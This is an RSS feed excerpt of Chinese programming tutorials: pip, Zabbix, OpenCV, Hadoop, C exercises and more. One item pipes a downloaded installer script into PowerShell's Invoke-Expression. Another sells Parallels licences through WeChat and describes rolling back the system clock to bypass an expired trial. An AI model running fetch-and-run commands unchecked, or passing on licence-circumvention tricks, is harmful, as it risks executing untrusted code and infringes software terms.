      <description> 背景 在windows开发一个项目，pip3 安装了很多的模块，最终该项目才可以运行，比如crm代码&#xA;代码上传到一个新的服务器，是一个空的环境，还得在部署一遍，比如crm代码&#xA;土办法：运行代码，查看报错，一个一个模块单独去安装解决不那么土的办法：#把你当前解释器所有用到的模块，信息导出到一个文件中&#xA;pip3 freeze &amp;gt; requirements.txt 1. 在windows的cmd命令行中，通过此命令导出模块信息 pip3 freeze &amp;gt; requirements.txt 2. 把此文件发送给linux机器，或者直接拷贝其内容，也可以 在linux机器上，安装此文件即可，自动读取文件每一行的模块信息，自动安装 pip3 install -i https://pypi.douban.com/simple -r requirements.txt 本质用法：这个命令其实就是，将一个解释器的模块信息导出，丢给其他人去安装 学习阶段，模拟使用 1.在物理解释器下，安装各种模块 2.在虚拟环境下，安装此模块文件 `` </description>
    </item>
    <item>
      <title>基于Zabbix的校园网核心监控系统设计与实现</title>
      <link>https://bchobby.github.io/posts/328af71f9a77c14a917127a8388b4dea/</link>
      <pubDate>Sun, 03 Apr 2022 19:14:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/328af71f9a77c14a917127a8388b4dea/</guid>
      <description>目录&#xA;开题报告&#xA;1．实验背景&#xA;2．实验目的、意义&#xA;3．研究内容&#xA;4．技术路线&#xA;5．难点内容&#xA;6．预期结果&#xA;1．实验背景 互联网在社会、经济、以及人们的日常生活中都是必不可少的工具，而互联网的稳定运行是互联网技术能够广泛应用的前提，因此网络监控技术应运而生。网络监控技术能够监控网络整体运行状态，可以提前预判网络中可能存在的问题，进而采取措施，保证网络的稳定运行。本系统采用的基于Zabbix软件的监控系统不仅能够监控网络系统，还可以扩展到其他方面的应用。&#xA;计算机网络技术发展迅速，网络在我们学校师生的生活、工作和学习中已经成为必不可少的工具。在网络需求量越来越大的情况下，保障网络运行稳定性，也成为在校师生密切关注和关心的问题。在这样的背景下，对于网络维护人员提出了更高的要求，拥有一个优良的网络设备监控平台就显得尤为重要，通过网络设备监控平台，观察各设备的运行状况，对运行情况进行数据分析，对问题设备及时处理，甚至实时监控和报警，这样才能够尽快处理全校师生在使用网络时遇到的各种问题。&#xA;2．实验目的、意义 在当前的开源服务器监控软件中比较热门的有Nagios、Ganglia、 OpenTSDB 、Zabbix等开源软件，每个软件都有自己的特点和功能。&#xA;在开源的软件中(Zabbix，Nagios，Cacti等)，开源的解决方案有流量监控和性能告警，而且每种软件都有自己特点和功能，各自的侧重点和目标不完全相同，在设计理念和实现方法上也大同小异，更多思想放在服务器监控的属性以及监控流程上，但是随着服务器数量的成倍增加，产生的数据将成倍增加，数据的读写成为最大的问题，所以简单的开源软件的使用已无法满足当前的需求。&#xA;学校网络设备监控平台采用的是多年前购买的PRTG平台，PRTG平台是一款通过路由器等设备上的SNMP协议取得流量资讯并产生图形报表的软件，可以为我们产生内部网络包括服务器、路由器、交换机、员工计算机等多种设备的网络流量图形化报表，并能够对这些报表进行统计和绘制。但在具体的使用过程中，仍然暴露出许多问题，我们学校的PRTG平台仅能监控汇聚交换机出入口流量，无邮件报警等及时的问题警告方式，在使用过程中需要人工不断地进行关注平台进出口流量信息来做出判断，对学校的网络硬件设备的监控缺少及时性报警和主动性报警，不能够满足出现网络问题及时发现的需要，给我们的网络管理人员带来很大的不便。&#xA;通过Zabbix平台对学校所有交换机、无线AP等网络设备流量、运行状况进行监控和告警，使用第三方平台通知设备负责人员设备的异常或故障，基于Zabbix的校园网监控系统使用更加灵活，对于学校网络管理和运维人员的工作有着切实的辅助作用。&#xA;3．研究内容 基于开源系统Zabbix设计与实现监控数量大、速度快的服务器监控方案，特别是对于大规模数据中心的基础设施的监控，从主机、网络、存储等方面实现对整个资源池的资源监控，将服务器的相关指标以可读性强的形式展现给运维人员，让运维人员充分把握服务器的各项指标，当某些指标出现异常时能够将异常以短信或者邮件的方式报给运维人员，在此基础上，分为四个核心要点 。&#xA;（1）实时图形：通过Zabbix将监控的网络设备数据绘成实时的图形。&#xA;（2）数据采集：通过Zabbix监控系统采集设备运行过程中的通断情况、进出口流量等信息&#xA;（3）异常监控：监控各核心设备机房和服务器机房的基本运行设备状态，对异常情况进行监控和记录，并触发告警机制。&#xA;(4)报警：对网络设备的运行状态故障、电力故障、接口故障等问题进行及时的报警，并可根据等级发送到不同的用户组。&#xA;4．技术路线 Zabbix是一个基于WEB界面的提供分布式系统监控以及网络监控功能的企业级的开源解决方案，采用多种方式进行数据采集，它将采集到的数据先存入数据库，然后对数据做进一步的分析与整理，达到阙值条件的就触发告警，不仅有专门独立的Agent,还可以使用支持SNMP、Telnet、SSH、IPMI、JMX等多种协议的方式。其扩展的灵活性和功能的丰富程度是其他监控系统所不能比的。能监视各种网络参数，保障网络系统的安全运营；并提供灵活的通知机制以让系统管理员快速定位和解决存在的各种问题。&#xA;图 1Zabbix 5.0架构&#xA;1、Zabbix Server&#xA;Zabbix server 是 agent 程序报告系统可用性、系统完整性和统计数据的核心组件，是所有配置信息、统计信息和操作数据的核心存储器。&#xA;2、Zabbix 数据库存储&#xA;所有配置信息和 Zabbix 收集到的数据都被存储在数据库中。&#xA;3、Zabbix Web 界面&#xA;为了从任何地方和任何平台都可以轻松的访问Zabbix, 我们提供基于Web的Zabbix界面。该界面是Zabbix Server的一部分，通常(但不一定)跟Zabbix Server运行在同一台物理机器上。&#xA;如果使用 SQLite,Zabbix Web 界面必须要跟Zabbix Server运行在同一台物理机器上。&#xA;4、Zabbix Proxy 代理服务器&#xA;Zabbix proxy 可以替Zabbix Server收集性能和可用性数据。Proxy代理服务器是Zabbix软件可选择部署的一部分；当然，Proxy代理服务器可以帮助单台Zabbix Server分担负载压力。&#xA;5、Zabbix Agent 监控代理&#xA;Zabbix agents监控代理 部署在监控目标上，能够主动监控本地资源和应用程序，并将收集到的数据报告给Zabbix Server。</description>
    </item>
    <item>
      <title>【视频目标检测数据集收集】B站、YouTube等各大网站视频下载工具：Annie(现更名为lux)的下载与安装教程</title>
      <link>https://bchobby.github.io/posts/541ad609ab4469450e814100bc9ef5fe/</link>
      <pubDate>Sun, 03 Apr 2022 15:26:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/541ad609ab4469450e814100bc9ef5fe/</guid>
      <description>通过Annie命令行视频下载 注：现 Annie已经改名为 lux。&#xA;当做视频目标检测时，我们常常需要非常多的视频作为数据集。今天推荐一款非常方便好用的视频下载工具 Annie(现更名为lux) 。&#xA;1.登录 Github 下载 Github 网址：https://github.com/iawia002/annie&#xA;Github 上对于Windows电脑推荐了 2 种安装方式。这里为了方便我选择了 Scoop。点击 Scoop，进入 Scoop 的官网，先安装 Scoop。&#xA;2.安装 Scoop 进入Scoop 的官网，发现需要基于 Windows 的 PowerShell 命令行进行安装。&#xA;不要以管理员身份打开 PowerShell ，输入以下命令：&#xA;Invoke-Expression (New-Object System.Net.WebClient).DownloadString(&#39;https://get.scoop.sh&#39;) 这个过程中可能要更改一些政策权限才能正常安装，输入以下命令：&#xA;Set-ExecutionPolicy RemoteSigned -Scope CurrentUser 改为yes即可，然后再输入第一条安装命令。安装成功后如下图所示：&#xA;3.安装Annie 不要以管理员身份打开 PowerShell ，输入以下命令：&#xA;scoop install lux 4.下载视频 以管理员身份打开 cmd。输入以下命令，即可下载：&#xA;lux 视频地址 视频的存储位置就是我红框标注的路径：&#xA;5.更改下载路径 若想更改下载路径，可以先在别的盘下(我这里是G:/盘) 创建一个 Video 文件夹专门存放 Annie 下载下来的视频。&#xA;然后cmd命令行先 cd 到 Video 文件夹：&#xA;C:\windows\system32&amp;gt;G: G:\&amp;gt;cd Video 再输入下载命令进行下载：</description>
    </item>
    <item>
      <title>三种非递归遍历二叉树的方法</title>
      <link>https://bchobby.github.io/posts/08d38c8a67a01e5e1b6c54257f99b038/</link>
      <pubDate>Sun, 03 Apr 2022 11:16:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08d38c8a67a01e5e1b6c54257f99b038/</guid>
      <description>就以这个树为例，来讲讲二叉树的非递归遍历。&#xA;先序遍历： 先序遍历结果为3 4 6 5 8 9，就拿树的左枝为例，3是根，打印，4是3的左孩子，打印，6是4的左孩子，打印，6的左孩子为空，所以返回到4，然后去找4的右孩子，4的右孩子也为空，返回到3，这就是左子树遍历的过程。然后非递归主要用到栈来存储结点，栈先进后出，所以应该是右孩子先入栈，左孩子后入栈，这样pop就能先得到左孩子。先将根结点3入栈，接下来就是开始循环，循环结束的条件就是栈为空，先弹出栈顶，再打印栈顶，如果栈顶的右孩子不为null，就把右孩子放进栈中，如果栈顶的左孩子不为null，就把左孩子放入栈中。&#xA;用下面一幅图来说明整个过程&#xA;void pretravel2(TreeNode root) { if (root == null) return; Stack&amp;lt;TreeNode&amp;gt; s = new Stack&amp;lt;TreeNode&amp;gt;(); s.push(root); while (!s.isEmpty()) { TreeNode node = s.pop(); System.out.print(node.val+&#34; &#34;); if (node.right != null) { s.push(node.right); } if (node.left != null) { s.push(node.left); } } } 中序遍历：中序遍历的结果为6 4 3 8 5 9，其实就是左遍历完了，弹出根，找根的右结点，整个过程是先一路找左结点，找到左结点为null的6，然后找6的根4，接着找4的右，为null，接着找4的根3，接着一路找3的左，直到结点的左孩子为null，这就找到了8，然后找8的根5，再找5的右9，这样就找完了。他们的入栈出栈顺序：根结点入栈，左孩子直接入栈，并且标记这个结点已经走过，以防后面再走，当发现哪个结点的左孩子为null的时候，就打印这个结点，并且将这个结点出栈，让他的右孩子入栈&#xA;void intravel2(TreeNode root) { if(root==null) return ; Stack&amp;lt;TreeNode&amp;gt; stack=new Stack&amp;lt;&amp;gt;(); stack.push(root); //使用list来标记结点是否走过 List&amp;lt;TreeNode&amp;gt; list=new ArrayList&amp;lt;&amp;gt;(); while(!</description>
    </item>
    <item>
      <title>样例：语义分割指标计算：GA,OA,mAcc,mIoU,IoU</title>
      <link>https://bchobby.github.io/posts/a5173b692ac77bbaf79d5ca25ace6fc7/</link>
      <pubDate>Sat, 02 Apr 2022 20:03:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5173b692ac77bbaf79d5ca25ace6fc7/</guid>
      <description>举个例子，假设得到混淆矩阵如下：&#xA;[ 真 实 标 签 真 实 标 签 真 实 标 签 真 实 标 签 真 实 标 签 0 1 2 3 4 预 测 标 签 0 16 0 1 1 4 预 测 标 签 1 3 22 0 0 2 预 测 标 签 2 0 5 18 0 1 预 测 标 签 3 0 0 0 15 1 预 测 标 签 4 1 0 1 1 31 ] \begin{bmatrix} &amp;amp;&amp;amp;&amp;amp;真实标签&amp;amp;真实标签&amp;amp;真实标签&amp;amp;真实标签&amp;amp;真实标签 \\&amp;amp;&amp;amp;&amp;amp;0&amp;amp;1&amp;amp;2&amp;amp;3&amp;amp;4 \\ \\ 预测标签&amp;amp;0&amp;amp;&amp;amp;16&amp;amp;0&amp;amp;1&amp;amp;1&amp;amp;4 \\ 预测标签&amp;amp;1&amp;amp;&amp;amp;3&amp;amp;22&amp;amp;0&amp;amp;0&amp;amp;2 \\ 预测标签&amp;amp;2&amp;amp;&amp;amp;0&amp;amp;5&amp;amp;18&amp;amp;0&amp;amp;1\\ 预测标签&amp;amp;3&amp;amp;&amp;amp;0&amp;amp;0&amp;amp;0&amp;amp;15&amp;amp;1\\ 预测标签&amp;amp;4&amp;amp;&amp;amp;1&amp;amp;0&amp;amp;1&amp;amp;1&amp;amp;31 \end{bmatrix} ⎣⎢⎢⎢⎢⎢⎢⎢⎢⎢⎢⎡​预测标签预测标签预测标签预测标签预测标签​01234​​真实标签0163001​真实标签1022500​真实标签2101801​真实标签3100151​真实标签4421131​⎦⎥⎥⎥⎥⎥⎥⎥⎥⎥⎥⎤​</description>
    </item>
    <item>
      <title>ERROR: Invalid requirement: ‘_libgcc_mutex=0.1=main‘ XXX Hint: = is not a valid operator. Did you me</title>
      <link>https://bchobby.github.io/posts/c710fd767ae3afd0076a96dd47c518d4/</link>
      <pubDate>Sat, 02 Apr 2022 19:27:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c710fd767ae3afd0076a96dd47c518d4/</guid>
      <description>问题如图所示，我是在GitHub加载environment.yml文件时，遭遇这种情况。&#xA;其实，这也不难解决。&#xA;其一将environment.yml文件中dependencices中，报错的部分依赖项，放到-pip:下；或者将“_libgcc_mutex=0.1=main”，这样第二个等于号后面的内容删除，这个就改为“_libgcc_mutex=0.1”&#xA;其二就是以下的可能,未找到anaconda的环境变量的位置，没法pip install&#xA;添加‘Anaconda安装目录\Library\bin’到环境变量中&#xA;例如：C:\ProgramData\Anaconda3\Library\bin&#xA;F:\Anaconda\Scripts&#xA;F:\Anaconda&#xA;F:\Anaconda\Library\bin&#xA;如若不行，conda update --all&#xA;或者&#xA;conda update -n base -c defaults conda 其三&#xA;以上都不行&#xA;可以尝试https://blog.csdn.net/weixin_42455006/article/details/123764420</description>
    </item>
    <item>
      <title>拍手游戏Python</title>
      <link>https://bchobby.github.io/posts/4b4f7b9032a14602d290396c6d561c52/</link>
      <pubDate>Sat, 02 Apr 2022 17:19:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b4f7b9032a14602d290396c6d561c52/</guid>
      <description>拍手游戏逢有7的数字和7的倍数拍手&#xA;#方法1 for i in range(1, 101): if i % 7 == 0 or i % 10 == 7 or i // 10 == 7: print(&#34;Clap&#34;, end=&#34; &#34;) else: print(i, end=&#34; &#34;) if i % 20 == 0: #每二十个数换行 print() #方法2 for i in range(1, 101): if i % 7 == 0 or i % 10 == 7 or i // 10 == 7: print(&#34;Clap&#34;, end=&#34; &#34;) continue print(i, end=&#34;</description>
    </item>
    <item>
      <title>linux下搭建opencv 4.5开发环境及Demo</title>
      <link>https://bchobby.github.io/posts/8eb04b1cfeaaaf7360b7fe6c80ce0729/</link>
      <pubDate>Sat, 02 Apr 2022 16:49:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8eb04b1cfeaaaf7360b7fe6c80ce0729/</guid>
      <description>1.centos&#xA;2.官网下载源码&#xA;https://github.com/opencv/opencv/tagshttps://github.com/opencv/opencv/tags3.解压&#xA;unzip opencv-4.5.5.zip cd opencv-4.5.5 4.配置&#xA;mkdir build cd build cmake -D CMAKE_BUILD_TYPE=Release -D CMAKE_INSTALL_PREFIX=/data1/xxx/workspace/opencv/output .. 其中，CMAKE_BUILD_TYPE指定Release或者Debug&#xA;CMAKE_INSTALL_PREFIX指定编译以后，安装的目录&#xA;.. （点点）指定opencv源码更目录&#xA;更多配置选项，参考官网：&#xA;OpenCV configuration options referencehttps://docs.opencv.org/4.x/db/d05/tutorial_config_reference.html&#xA;由于本机已经存在了ffmpeg的老版本，导致编译报错，不想动老版本，于是把ffmepg禁用掉&#xA;cmake -D CMAKE_BUILD_TYPE=Release -D CMAKE_INSTALL_PREFIX=/data1/xxx/workspace/opencv/output -D WITH_FFMPEG=OFF .. 5.编译&#xA;make make install 6.hello opencv&#xA;cd .. mkdir demo cd demo vim cvdemo.cpp //cvdemo.cpp #include &#34;opencv2/opencv.hpp&#34; int main() { printf(&#34;hello opencv!\r\n&#34;); return 0; } build：&#xA;g++ -g -Wall -std=c++11 cvdemo.cpp -o cvdemo -I.</description>
    </item>
    <item>
      <title>Java：java.lang.IncompatibleClassChangeError:Expected non-static field报错</title>
      <link>https://bchobby.github.io/posts/c4997251467eb2c6a548ae7006fb29e2/</link>
      <pubDate>Sat, 02 Apr 2022 14:09:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4997251467eb2c6a548ae7006fb29e2/</guid>
      <description>问题描述：自己搭建SSM项目时候，访问后台接口报500，Java：java.lang.IncompatibleClassChangeError:Expected non-static field。&#xA;解决：百度上找的都是某个变量应该是是非static，应该是导入依赖jar相互冲突，我是导入ssm相关jar包版本并没有对齐，导入相同版本的依赖包重新put into output root，重新启动tomcat就可以了。</description>
    </item>
    <item>
      <title>M1版parallels desktop 无限试用到期，如何解决？</title>
      <link>https://bchobby.github.io/posts/a4bcc6e9efbd709da99f2c9520870218/</link>
      <pubDate>Sat, 02 Apr 2022 14:07:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4bcc6e9efbd709da99f2c9520870218/</guid>
      <description> 第一种办法：正版PD资源 Parallels Desktop17.1.2正版激活（永久授权许可证激活，正版授权，永久使用！）&#xA;最强Mac虚拟机软件（适用于 Intel和所有 Apple M1芯片，支持 Monterey)&#xA;使用须知&#xA;适用于 Intel 和 所有 Apple M1 芯片，支持 Monterey&#xA;本许可证，可以永久使用PD17.1.2，支持小版本升级，支持重装&#xA;保存好自己的激活码，重装系统，激活码依然有效！（遗失不补）&#xA;需要的➕VX：yanqi788&#xA;第二种办法：&#xA;打开系统偏好设置中的日期与时间 把系统时间改成2021 年 4 月 1日 下载安装包，安装pd,再安装win10系统 Win10安装好后，重启电脑 重启后，在此打开系统偏好设置中的日期与时间，把时间改回来 打开下载的包，把pd启动 安装到应用程序 在应用程序，打开pd启动，如果提示 试用到期，就打开Parallels Desktop。能进win系统的话，全部退出，然后用pd启动打开。如果能进去，说明成功了。。 </description>
    </item>
    <item>
      <title>python的魔术方法大全</title>
      <link>https://bchobby.github.io/posts/bec767685ea3e76031f8c6757e4c8792/</link>
      <pubDate>Fri, 01 Apr 2022 22:53:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bec767685ea3e76031f8c6757e4c8792/</guid>
      <description>python的魔术方法大全&#xA;转载 保存下链接&#xA;https://www.cnblogs.com/nmb-musen/p/10861536.html</description>
    </item>
    <item>
      <title>Hadoop集群搭建后续，真正实现高可用。</title>
      <link>https://bchobby.github.io/posts/d9e62951e35ecf4edc7d3f636a430ca5/</link>
      <pubDate>Fri, 01 Apr 2022 20:12:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9e62951e35ecf4edc7d3f636a430ca5/</guid>
      <description>说明：&#xA;本专栏的第一篇博客，只是搭建了一个完全的分布式Hadoop集群，而且当时的安装目录是在/usr/local/src/下边安装的，后来因为报错的问题，又重新搭建了一次完全分布式的集群，今天就来讲一下，如何搭建真正实现高可用的Hadoop集群。&#xA;前提：&#xA;必须完成三台节点的jdk，zookeeper的安装配置，至于hadoop的话，接着以前的环境做也可以，删掉从新解压从新配置都可以，因为我比较懒，就是接着做的。&#xA;不多废话，直接操作。&#xA;Hadoop HA搭建&#xA;1，更改环境变量&#xA;vi /etc/profile 进行如下配置(此处需先删除第四章配置的环境变量)&#xA;#hadoop enviroment export HADOOP_HOME=/opt/local/src/hadoop #HADOOP_HOME指向JAVA安装目录 export HADOOP_PREFIX=$HADOOP_HOME export HADOOP_MAPRED_HOME=$HADOOP_HOME export HADOOP_COMMON_HOME=$HADOOP_HOME export HADOOP_HDFS_HOME=$HADOOP_HOME export YARN_HOME=$HADOOP_HOME export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native export HADOOP_INSTALL=$HADOOP_HOME export HADOOP_OPTS=&#34;-Djava.library.path=$HADOOP_INSTALL/lib:$HADOOP_COMMON_LIB_NATIVE_DIR&#34; export PATH=$PATH:$HADOOP_HOME/bin:$HADOOP_HOME/sbin #java environment export JAVA_HOME=/opt/local/src/java&#x9;#JAVA_HOME指向JAVA安装目录 export PATH=$PATH:$JAVA_HOME/bin&#x9;#将JAVA安装目录加入PATH路径 #zookeeper environment export ZK_HOME=/opt/local/src/zookeeper export PATH=$PATH:$ZK_HOME/bin 保存并退出。&#xA;2，配置hadoop环境变量&#xA;cd /opt/local/src/hadoop/etc/hadoop vi hadoop-env.sh 在最下面添加如下配置：&#xA;export JAVA_HOME=/opt/local/src/jdk 保存并退出&#xA;3，修改配置文件1&#xA;vi core-site.xml 添加如下配置：&#xA;&amp;lt;!-- 指定hdfs的nameservice为mycluster --&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;fs.defaultFS&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;hdfs://mycluster&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hadoop.</description>
    </item>
    <item>
      <title>PTA——L1-022 奇偶分家</title>
      <link>https://bchobby.github.io/posts/87eeeab103280a25186c524966ded8a7/</link>
      <pubDate>Fri, 01 Apr 2022 18:46:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87eeeab103280a25186c524966ded8a7/</guid>
      <description> #include&amp;lt;stdio.h&amp;gt; int main() { int i,a=0,b=0,c,n; scanf(&#34;%d&#34;,&amp;amp;n); for(i=0;i&amp;lt;n;i++) { scanf(&#34;%d&#34;,&amp;amp;c); if(c%2==0) { a++; } else { b++; } } printf(&#34;%d %d&#34;,b,a); return 0; } </description>
    </item>
    <item>
      <title>consul服务集群搭建与测试</title>
      <link>https://bchobby.github.io/posts/e14220f81d396478905bedb73c3742e9/</link>
      <pubDate>Fri, 01 Apr 2022 17:50:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e14220f81d396478905bedb73c3742e9/</guid>
      <description>consul服务集群搭建与测试 参考文档 架构 https://www.consul.io/docs/architecture&#xA;非官方文档&#xA;https://blog.csdn.net/junaozun/article/details/90699384&#xA;https://www.cnblogs.com/duanxz/p/10564502.html&#xA;推荐架构 https://learn.hashicorp.com/tutorials/consul/reference-architecture?utm_source=consul.io&amp;amp;utm_medium=docs&#xA;架构图&#xA;consul词汇表 https://www.consul.io/docs/install/glossary&#xA;AgentClientServerDatacenterConsensusGossipLAN GossipWAN GossipRPCAccess Control List (ACL)API GatewayApplication SecurityApplication ServicesAuthentication and Authorization (AuthN and AuthZ)Auto Scaling GroupsAutoscalingBlue-Green DeploymentsCanary DeploymentsClient-side Load BalancingCloud Native Computing FoundationCustom Resource Definition (CRD)Egress TrafficElastic ProvisioningEnvoy ProxyForward ProxyHybrid Cloud ArchitectureIdentity-based authorizationInfrastructure as a ServiceInfrastructure as CodeIngress ControllerIngress GatewayIngress TrafficKey-Value StoreL4 - L7 ServicesLayer 7 ObservabilityLoad BalancerLoad BalancingLoad Balancing AlgorithmsMulti-cloudMulti-cloud NetworkingMutual Transport Layer Security (mTLS)Network Middleware AutomationNetwork securityNetwork traffic managementNetwork VisualizationObservabilityElastic ScalingPlatform as a ServiceReverse ProxyRole-based Access ControlsServer side load balancingService configurationService CatalogService DiscoveryService MeshService NetworkingService ProxyService RegistrationService RegistryMicroservice SegmentationService-to-service communicationSoftware as a Service 安装 https://learn.</description>
    </item>
    <item>
      <title>Android monitor无法开发 报错Error: Could not create the Java Virtual Machine</title>
      <link>https://bchobby.github.io/posts/d6d8f9289f16c8c7f1a7fec24be2e0e2/</link>
      <pubDate>Fri, 01 Apr 2022 17:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6d8f9289f16c8c7f1a7fec24be2e0e2/</guid>
      <description>今天双击打开monitor.bat 出现如下报错&#xA;Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. 查看原因：因为java版本过高，本地版本为解决方案：重新安装java8版本 （java8 阿里云地址 提取码: 71p0）&#xA;然后在双击打来monitor.bat</description>
    </item>
    <item>
      <title>C语言程序设计第五版谭浩强课后答案 第四章习题答案</title>
      <link>https://bchobby.github.io/posts/73389bcf472a162a6db92ddde8509a14/</link>
      <pubDate>Fri, 01 Apr 2022 16:00:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73389bcf472a162a6db92ddde8509a14/</guid>
      <description>1. 什么是算术运算？什么是关系运算？什么是逻辑运算？ 解析：C语言中这些东西太多了，这里只讲最常见的。&#xA;（1）算术运算最常见的有：加减乘除、自增、自减、取模&#xA;运算符（优先级）：++、-- ； *、/、% ；+、-&#xA;（2）关系运算最常见的是关系运算：大于、小于、等于、大于等于、小于等于、不等于&#xA;运算符（优先级）：&amp;gt;、&amp;lt;、&amp;gt;=、 &amp;lt;=； ==、 !=&#xA;（3）逻辑运算基本就是再说 “与或非” 三兄弟&#xA;运算符（优先级）：！；&amp;amp;&amp;amp;、||&#xA;&amp;amp;&amp;amp;：逻辑与，要求左右两边同时为真输出才会为真；&#xA;||：逻辑或，符号左右两边只需要有一个为真输出便为真；&#xA;！：逻辑非，讲符号右边的内容在逻辑上取反；&#xA;注：这里的 ！非，优先等级非常高。&#xA;以上所提到的所有操作符优先级排列：&#xA;++、-- ；！；剩下的算数运算符；关系运算符；剩下逻辑运算符&#xA;2. C语言中如何表示“真”和“假”?系统如何判断一个量的“真”和“假”? 解析：纯概念题，书上有原话，我简单概述一下。&#xA;在C语言中判断真假很简单：“0为假，非0为真”，具体判断又分为两种：“逻辑常量和逻辑变量”&#xA;逻辑常量只有两个：“0和1，0为假，1为真”.&#xA;逻辑变量，就跟他的名字一样，会变！因此，逻辑变量可以是数字、字母、符号甚至是表达式，判断方式也是0为假，非0为真。&#xA;3. 写出下面各逻辑表达式的值。设a=3,b=4,c=5。 解析：这一题就是上面两题的综合实践版。&#xA;（1）a+b&amp;gt;c &amp;amp;&amp;amp; b ==c ——&amp;gt; 3+4&amp;gt;5 &amp;amp;&amp;amp; 4==5 ——&amp;gt;7&amp;gt;c &amp;amp;&amp;amp; 4==5 ——&amp;gt;真 &amp;amp;&amp;amp; 假——&amp;gt;假&#xA;（2）a||b+c &amp;amp;&amp;amp; b-c ——&amp;gt; 3||4+5 &amp;amp;&amp;amp; 4-5 ——&amp;gt; 3||9 &amp;amp;&amp;amp; -1 ——&amp;gt;真||真&amp;amp;&amp;amp;真 ——&amp;gt;真&#xA;（3）!(a&amp;gt;b) &amp;amp;&amp;amp; !c||1 ——&amp;gt; !(3&amp;gt;4) &amp;amp;&amp;amp; !5||1 ——&amp;gt; !</description>
    </item>
    <item>
      <title>【C语言|RUNOOB教程|期末常考题】100道经典例题详解（6~10题）</title>
      <link>https://bchobby.github.io/posts/d10066e6ae9a43c3b8976150304470d6/</link>
      <pubDate>Fri, 01 Apr 2022 15:50:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d10066e6ae9a43c3b8976150304470d6/</guid>
      <description>前言 本系列为精选C语言菜鸟刷题系列，意在巩固已经学习的C语言知识。每天5题，菜鸟逆袭~~~&#xA;实例1 💬题目： 输出9*9口诀。&#xA;🔍程序分析： 分行与列考虑，共 9 行 9 列，i 控制行，j 控制列。&#xA;具体代码：&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int i, j, result; for (i = 1; i &amp;lt;= 9; i++) { for (j = 1; j &amp;lt;= i; j++) { result = i * j; printf(&#34;%d*%d=%-3d&#34;, i, j, result); //-3d表示左对齐，占3位 } printf(&#34;\n&#34;);//打印每一行后，换行 } return 0; } 🚀运行结果：&#xA;实例2 💬题目： 古典问题（兔子生崽）：有一对兔子，从出生后第3个月起每个月都生一对兔子，小兔子长到第三个月后每个月又生一对兔子，假如兔子都不死，问每个月的兔子总数为多少？（输出前40个月即可）&#xA;🔍程序分析： 这是典型的斐波那契数列问题。兔子的规律为数列1,1,2,3,5,8,13,21…，即下个月是上两个月之和（从第三个月开始）。我们采用迭代循环的方法解决。&#xA;迭代循环：重复执行一系列运算步骤，从前面的量依次求出后面的量的过程，直至满足条件为止。&#xA;🔱迭代解法： 知道初值，迭代公式，结束条件即可&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int f1 = 1, f2 = 1, i; for (i = 1; i &amp;lt;= 20; i++) { printf(&#34;</description>
    </item>
    <item>
      <title>vuex传过来的数据存入本地缓存并提取</title>
      <link>https://bchobby.github.io/posts/81b398f432db153f1216e50d16d4a54f/</link>
      <pubDate>Fri, 01 Apr 2022 14:34:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81b398f432db153f1216e50d16d4a54f/</guid>
      <description>computed: { ...mapState(&#39;vuex子仓库名&#39;, [&#39;allList&#39;]), localAllList() { uni.setStorageSync(&#39;allList&#39;, JSON.stringify(this.allList)); return JSON.parse(uni.getStorageSync(&#39;allList&#39;) || &#39;[]&#39;); }, 使用时直接当做计算属性使用即可</description>
    </item>
    <item>
      <title>VUE引入kindeditor、本地化、一键排版样式等操作</title>
      <link>https://bchobby.github.io/posts/4c09f6aed2ccbc444d8f9ece76a1e4a7/</link>
      <pubDate>Fri, 01 Apr 2022 14:19:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c09f6aed2ccbc444d8f9ece76a1e4a7/</guid>
      <description>文中所有资源可点击此处免费下载 1、创建VUE项目，安装kindeditor&#xA;cnpm i kindeditor -S 2、在components下新建KindEditor文件夹，新建Index.vue组件，&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;margin-top-20&#34;&amp;gt; &amp;lt;textarea name=&#34;content&#34; :id=&#34;id&#34; v-model=&#34;outContent&#34;&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;div style=&#34;color: #909399&#34;&amp;gt;建议样式：字号18px，2倍行距，文字左对齐，图片居中对齐&amp;lt;/div&amp;gt; &amp;lt;input type=&#34;file&#34; @change=&#34;selectedFile&#34; style=&#34;display: none&#34; name=&#34;imgFile&#34; ref=&#34;inputFile&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; // 引入kindeditor组件 import &#39;./config/default/default.css&#39; import &#34;./config/kindeditor-all-min&#34; import &#39;./config/zh-CN&#39; // 配置文件 import items from &#34;./config/items.js&#34;; import htmlTags from &#34;./config/htmlTags.js&#34;; import fontSizeTable from &#34;./config/fontSizeTable.js&#34;; import otherConfig from &#34;./config/otherConfig.js&#34;; // import { uploadImg } from &#34;@/api/index.js&#34;; import { postApi } from &#39;../../request/http&#39;; export default { name: &#34;</description>
    </item>
    <item>
      <title>leetcode16 最接近的三数之和——相向双指针</title>
      <link>https://bchobby.github.io/posts/25dbad93ccafdb4690423d4afcd66e26/</link>
      <pubDate>Fri, 01 Apr 2022 10:41:25 +0800</pubDate>
